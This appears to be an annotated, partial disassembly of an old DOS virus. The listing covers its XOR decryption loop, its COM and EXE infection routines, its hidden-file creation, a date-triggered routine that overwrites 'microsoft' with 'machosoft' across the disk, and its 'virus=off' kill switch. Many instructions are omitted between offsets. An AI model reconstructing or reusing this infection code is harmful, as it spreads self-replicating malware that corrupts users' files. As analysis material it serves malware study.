Syslockm
Syslockm
;--------------------------
; carrier program
;
; ....
;
;--------------------------
000c 39 65 ; ??
000e 02 00 ; ??
0010 c1 07 ; year 1985
0012 01 01 ; january 1
0014 09 08 ; key for encryption/decryption
0016 00 00 ; ??
0018 08 00 ; new file size
001a 00 00 ; check sum for exe file
; set registers ds, es, ss, sp (virus uses private stack)
;-------------------------------
; encryption/decryption routine
0032 50 push ax
0033 51 push cx
0034 56 push si
0035 be5900 mov si,0059 ; offset of decrypted part of virus
0038 b92608 mov cx,0826 ; length of decrypted part
003b 90 nop
003c d1e9 shr cx,1 ; convert bytes to words
003e 8ae1 mov ah,cl
0040 8ac1 mov al,cl
0042 33061400 xor ax,[0014] ; key for decryption
0046 3104 xor [si],ax
0048 46 inc si
0049 46 inc si
004a e2f2 loop 003e
004c 5e pop si
004d 59 pop cx
004e 58 pop ax
004f c3 ret
;--------------------------------------------
; decrypt virus, write to disk, encrypt back
;******************************************
; in file rest of virus code is decrypted
;--------------------------------
; get random number less than ax
0059 51 push cx
005a 52 push dx
005b 56 push si
005c 8bf0 mov si,ax
005e 46 inc si
005f b42c mov ah,2c ; get time
0061 cd21 int 21
0063 8bc1 mov ax,cx ; hour, minute
0065 03c2 add ax,dx ; seconds, hundredths of seconds
0067 33d2 xor dx,dx ; prepare division
0069 f7fe idiv si
006b 8bc2 mov ax,dx ; rest of division
006d 5e pop si
006e 5a pop dx
006f 59 pop cx
0070 c3 ret
;******************************
; dead code (never called)
;--------------------------------
; display in hex number from ax
0071 52 push dx
0072 8ad4 mov dl,ah
0074 e80700 call 007e ; display in hex byte from dl
0077 8ad0 mov dl,al
0079 e80200 call 007e ; display in hex byte from dl
007c 5a pop dx
007d c3 ret
;-------------------------------
; display in hex byte from dl
007e 53 push bx
007f 51 push cx
0080 8ada mov bl,dl ; extract high nible
0082 b104 mov cl,04
0084 d2eb shr bl,cl
0086 e80800 call 0091 ; display
0089 8ada mov bl,dl ; low nible
008b e80300 call 0091 ; display
008e 59 pop cx
008f 5b pop bx
0090 c3 ret
;---------------------------
; display hex digit from bx
0091 50 push ax
0092 53 push bx
0093 52 push dx
0094 81e30f00 and bx,000f
0098 8a97a400 mov dl,[bx+00a4] ; convert to hex
009c b402 mov ah,02 ; display character
009e cd21 int 21
00a0 5a pop dx
00a1 5b pop bx
00a2 58 pop ax
00a3 c3 ret
; hex digits
00a4 30 31 32 33 34 35 36 37 38 39 41 42 43 44 45 46 ; 0123456789abcdef
; end of dead code
;*************************
;----------------------
; get dos wersion
;--------------------------------------------
; prepare parameters for moving file pointer
;---------------------------------------------------
; read exe file header and find entry point in file
00c1 50 push ax
00c2 53 push bx
00c3 b43f mov ah,3f ; read file
00c5 ba5409 mov dx,0954 ; to ds:dx
00c8 b91c00 mov cx,001c ; number of bytes
00cb 90 nop
00cc 8b1e5209 mov bx,[0952] ; file handle
00d0 cd21 int 21
00d2 721c jb 00f0
;-------------------------------------------------------------------
; if dos version 3.x then change info field 0004 in carrier on disk
00f3 50 push ax
00f4 53 push bx
00f5 51 push cx
00f6 52 push dx
00f7 57 push di
00f8 56 push si
00f9 0bdb or bx,bx
00fb 7503 jnz 0100
0170 5e pop si
0171 5f pop di
0172 5a pop dx
0173 59 pop cx
0174 5b pop bx
0175 58 pop ax
0176 c3 ret
;-----------------------------------
; analyse dta file name
; on exit ax = 3 - subdirectory
; 2 - exe
; 1 - com
0177 53 push bx
0178 56 push si
0179 b80000 mov ax,0000
017c 8a1e3b09 mov bl,[093b] ; get attributes
0180 80e310 and bl,10 ; directory?
0183 740d jz 0192 ; no
; locate extension
; is it com?
; is it exe?
; exit
01dd 5e pop si
01de 5b pop bx
01df c3 ret
;-------------------------------------------------
; get and store file attributes, date/time stamp,
; clear read only and open file
01e0 50 push ax
01e1 53 push bx
01e2 51 push cx
01e3 52 push dx
01e4 1e push ds
01e5 8cc0 mov ax,es
01e7 8ed8 mov ds,ax
01e9 b80043 mov ax,4300 ; get file attributes
01ec cd21 int 21
01ee 1f pop ds
01ef 7236 jb 0227
0203 1f pop ds
0204 7221 jb 0227
0206 1e push ds
0207 8cc0 mov ax,es
0209 8ed8 mov ds,ax
020b b8023d mov ax,3d02 ; open file
020e cd21 int 21
0210 1f pop ds
0211 7214 jb 0227
0227 5a pop dx
0228 59 pop cx
0229 5b pop bx
022a 58 pop ax
022b c3 ret
;---------------------------------------------
; restore file parameters and close it
; file name address is given in ds:dx
022c 50 push ax
022d 53 push bx
022e 51 push cx
022f 52 push dx
0230 56 push si
0231 8bf2 mov si,dx
0233 8b1e5209 mov bx,[0952] ; file handle
0237 8b0e2409 mov cx,[0924] ; file time stamp
023b 8b162209 mov dx,[0922] ; file date stamp
023f b80157 mov ax,5701 ; set file date/time stamp
0242 cd21 int 21
0244 7217 jb 025d
024c 1e push ds
024d 8b0e2009 mov cx,[0920] ; file attributes
0251 8cc0 mov ax,es
0253 8ed8 mov ds,ax
0255 8bd6 mov dx,si
0257 b80143 mov ax,4301 ; set file attributes
025a cd21 int 21
025c 1f pop ds
025d 5e pop si
025e 5a pop dx
025f 59 pop cx
0260 5b pop bx
0261 58 pop ax
0262 c3 ret
;-----------------------
; add file name to path
0263 50 push ax
0264 51 push cx
0265 52 push dx
0266 57 push di
0267 56 push si
0268 bfba08 mov di,08ba ; path
026b 8bcf mov cx,di
026d 32c0 xor al,al
026f f2 repnz
0270 ae scasb
0271 83ef04 sub di,+04
0274 be4409 mov si,0944
0277 b90d00 mov cx,000d
027a f3 repz
027b a4 movsb
027c 5f pop di
027d 5e pop si
027e 5a pop dx
027f 59 pop cx
0280 58 pop ax
0281 c3 ret
;---------------------------------------------
; move file pointer at the beginning of file
0282 50 push ax
0283 53 push bx
0284 51 push cx
0285 52 push dx
0286 b80042 mov ax,4200 ; move file pointer
0289 33c9 xor cx,cx ; offset from beginning
028b 33d2 xor dx,dx
028d 8b1e5209 mov bx,[0952] ; file handle
0291 cd21 int 21
0293 5a pop dx
0294 59 pop cx
0295 5b pop bx
0296 58 pop ax
0297 c3 ret
;-------------------------------------------------------------------
; find how many bytes should be added to file to get multiple of 16
0298 50 push ax
0299 53 push bx
029a 51 push cx
029b 52 push dx
029c b80242 mov ax,4202 ; move file pointer
029f 33c9 xor cx,cx
02a1 8b1e4009 mov bx,[0940] ; file size (low word)
02a5 81e30f00 and bx,000f
02a9 ba1000 mov dx,0010
02ac 2bd3 sub dx,bx
02ae 81e20f00 and dx,000f
02b2 89161800 mov [0018],dx
02b6 8b1e5209 mov bx,[0952] ; file handle
02ba cd21 int 21
02bc 5a pop dx
02bd 59 pop cx
02be 5b pop bx
02bf 58 pop ax
02c0 c3 ret
;------------------------
; infection of com file
02c1 50 push ax
02c2 53 push bx
02c3 51 push cx
02c4 52 push dx
02c5 57 push di
02c6 56 push si
02c7 be2108 mov si,0821
02ca bf7f08 mov di,087f
02cd b92300 mov cx,0023
02d0 90 nop
02d1 f3 repz
02d2 a4 movsb
02d3 833e420900 cmp word ptr [0942],+00 ; file size (high word)
02d8 7403 jz 02dd
02dd 813e400900f0 cmp word ptr [0940],f000 ; file size (low word)
02e3 7204 jb 02e9
02e5 f9 stc
02e6 eb7a jmp 0362 ; file too big, exit
02e8 90 nop
031b f9 stc
031c eb44 jmp 0362 ; infected, exit
031e 90 nop
0362 9c pushf
0363 be7f08 mov si,087f
0366 bf2108 mov di,0821
0369 b92300 mov cx,0023
036c 90 nop
036d f3 repz
036e a4 movsb
036f 9d popf
0370 5e pop si
0371 5f pop di
0372 5a pop dx
0373 59 pop cx
0374 5b pop bx
0375 58 pop ax
0376 c3 ret
;-----------------
; infect exe file
0377 50 push ax
0378 53 push bx
0379 51 push cx
037a 52 push dx
037b 57 push di
037c 56 push si
037d be4408 mov si,0844
0380 bfa208 mov di,08a2
0383 b90a00 mov cx,000a
0386 90 nop
0387 f3 repz
0388 a4 movsb
0389 a11600 mov ax,[0016] ; ??
038c a3ac08 mov [08ac],ax ; ??
038f c70616000000 mov word ptr [0016],0000 ; ??
0395 b43f mov ah,3f ; read file
0397 ba5409 mov dx,0954 ; buffer
039a b91c00 mov cx,001c ; header size
039d 90 nop
039e 8b1e5209 mov bx,[0952] ; file handle
03a2 cd21 int 21
03b3 f9 stc
03d3 f9 stc
03d4 e9ad00 jmp 0484 ; exit
045d e822fe call 0282 ; move file pointer at the beginning of file
;-------------
; infect file
049d 50 push ax
049e 52 push dx
049f ff060008 inc word ptr [0800] ; number of generation
04a3 baba08 mov dx,08ba ; buffer for file name
04a6 e837fd call 01e0 ; get file parameters and open it
04d3 f9 stc
04d4 baba08 mov dx,08ba
04d7 9c pushf
04df 9d popf
04e0 5a pop dx
04e1 58 pop ax
04e2 c3 ret
;------------------------------------
; get generation number and 0004 info
; exe
; com
04f3 06 push es
04f4 8e06b008 mov es,[08b0] ; code segment of carrier
04f8 26 es:
04f9 a10401 mov ax,[0104] ; ??
04fc 26 es:
04fd 8b1e0201 mov bx,[0102] ; ??
0501 07 pop es
0502 c3 ret
;---------------------------
; read ibmnetio.sys file
0503 53 push bx
0504 51 push cx
0505 52 push dx
0506 a04e08 mov al,[084e] ; drive number
0509 0441 add al,41 ; convert to letter
050b a26508 mov [0865],al ; store it
050e b8003d mov ax,3d00 ; open file, for read only
0511 ba6508 mov dx,0865 ; x:\ibmnetio.sys,0
0514 cd21 int 21
0516 7304 jae 051c
;---------------------------
; create file ibmnetio.sys
0537 50 push ax
0538 53 push bx
0539 51 push cx
053a 52 push dx
053b a34f08 mov [084f],ax ; store ibmnetio.sys contens
053e b43c mov ah,3c ; create handle
0540 b90600 mov cx,0006 ; attributes system and hiden
0543 ba6508 mov dx,0865 ; file name
0546 cd21 int 21
0558 5a pop dx
0559 59 pop cx
055a 5b pop bx
055b 58 pop ax
055c c3 ret
;--------------------------------------------------------------
; routine called if system date is set after january 1, 1985
; it search disk and replaces string microsoft onto machosoft
055d 50 push ax
055e 53 push bx
055f 51 push cx
0560 52 push dx
0561 56 push si
0562 57 push di
0563 06 push es
0564 8cd8 mov ax,ds
0566 8ec0 mov es,ax
0568 e878ff call 04e3 ; get generation number and 0004 info
056b 40 inc ax
056c 3d0400 cmp ax,0004
056f 7502 jnz 0573
060c 59 pop cx
060d 5f pop di
060e 5e pop si
060f ebbe jmp 05cf ; look for next ocurence of micro...
0629 58 pop ax
062a 7213 jb 063f ; exit
063f 07 pop es
0640 5f pop di
0641 5e pop si
0642 5a pop dx
0643 59 pop cx
0644 5b pop bx
0645 58 pop ax
0646 c3 ret
;----------------------------------------------
; search enviroment block for string virus=off
; if present then set carry
0647 51 push cx
0648 57 push di
0649 56 push si
064a 06 push es
064b 8e06b208 mov es,[08b2] ; segment of carrier
064f 26 es:
0650 8e062c00 mov es,[002c] ; segment of enviroment block
0654 33ff xor di,di ; beginning of enviroment
0661 26 es:
0662 803d00 cmp byte ptr [di],00 ; end of string marker
0665 7403 jz 066a ; yes
0675 07 pop es
0676 5e pop si
0677 5f pop di
0678 59 pop cx
0679 c3 ret
;========================
; main virus entry point
0695 e84bfe call 04e3 ; get generation number and 0004 info
0698 3d0000 cmp ax,0000 ; 0004 info ??
069b 7403 jz 06a0
0725 4b dec bx
0726 7512 jnz 073a
0762 e87efd call 04e3 ; get generation number and 0004 info
0765 40 inc ax
077e 1e push ds
077f a1b208 mov ax,[08b2] ; carrier ds
0782 8ed8 mov ds,ax
0784 ba8000 mov dx,0080 ; restore dta
0787 b41a mov ah,1a ; set dta
0789 cd21 int 21
078b 1f pop ds
078c 833eb60801 cmp word ptr [08b6],+01 ; com?
0791 740b jz 079e
;***************************************
; working area
;-------------------
; com file loader
;-----------------------------------------
; first 35 oryginal bytes of victim (com)
0821 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0830 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
0840 90 90 90 90
;-----------------------------
; date for exe carrier
0844 20 00 ; carrier cs
0846 00 00 ; carrier ip
0848 00 00 ; carrier ss
084a 00 02 ; carrier sp
084c 51 02 ; virus position in file
;---------------
; working area
;----------------------
; some special strings
0851 4d 49 43 52 4f 53 4f 46 54 00 ; microsoft.
085b 4d 41 43 48 4f 53 4f 46 54 00 ; machosoft.
0865 20 ; drive (letter)
0866 3a 5c 49 42 4d 4e 45 54 49 4f 2e 53 59 53 00 ; :\ibmnetio.sys.
0875 56 49 52 55 53 3d 4f 46 46 00 ; string virus=off
;------------------------------------------
; buffer for first 35 bytes of *.com files
087f 90
0880 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
0890 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
08a0 90 90
08a2 00 00
08a4 b8 4a
08a6 b1 17
08a8 2c 65
08aa 53 16
08ac 00 00 ; ??
08ae 00 00 ; ax holder
08b0 c8 0d ; carrier code segment (cs)
08b2 c8 0d ; carrier data segment (ds)
08b4 dd 0d ; top of stack
08b6 02 00 ; type of carrier 1 - exe, 2 - com
08b8 00 00 ; buffer for 0004 location in com and cs:0004 in exe
08ba 5c 56 43 31 30 30 30 2e 43 4f 4d 00 \vc1000.com.
08c6 00 00 00 45 00 00 4f 4d 00 4f 0.com....e..om.o
08d0 4d 00 54 00 00 42 00 00-00 00 00 00 00 00 00 00 m.t..b..........
08e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
08f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0900 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0910 00 00 00 00 00 00 00 00-00 00 00 00 00 00
; local dta
0926 02 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 39 00 00 00 00 00 00 00 00 ; reserved
093b 20 ; attributes
093c 35 a9 ; time stamp
094e 41 15 ; date stamp
0940 e8 03 ; file size (low word)
0942 00 00 ; file size
0944 56 43 31 30 30 30 2e 43 4f 4d 00 00 00 ; vc1000.com... file name
0951 90
0952 05 00 ; file handle holder
0954 4d 5a ; mz marker
0956 ef 00 ; part page
0958 1b 00 ; page count
095a 00 00 ; relo count
095c 20 00 ; header size
095e 00 00 ; minmem
0960 ff ff ; maxmem
0962 51 02 ; ss
0964 dd 0d ; sp
0966 b6 7c ; check sum
0968 06 00 ; ip
096a 51 02 ; cs
096c 3e 00 ; tabloffs
096e 00 00 ; overlay number
; private stack
0d79 53 54 41 43 4b 53 54 stackst
0d80 41 43 4b 53 54 41 43 4b-53 54 41 43 4b 53 54 41 ackstackstacksta
0d90 43 4b 53 54 41 43 4b 53-54 2c 09 1c 09 d1 03 32 ckstackst,...q.2
0da0 08 00 00 58 02 6c 15 f0-03 05 00 00 00 00 00 23 ...x.l.p.......#
0db0 40 05 00 df 0d 00 00 0f-08 32 08 82 08 29 10 29 @.._.....2...).)
0dc0 10 55 00 29 10 02 f2 62-03 ba 08 06 00 ba 08 01 .u.)..rb.:...:..
0dd0 00 00 01 bb 0a 00 00 2f-00 ac 2f 63 12 00 00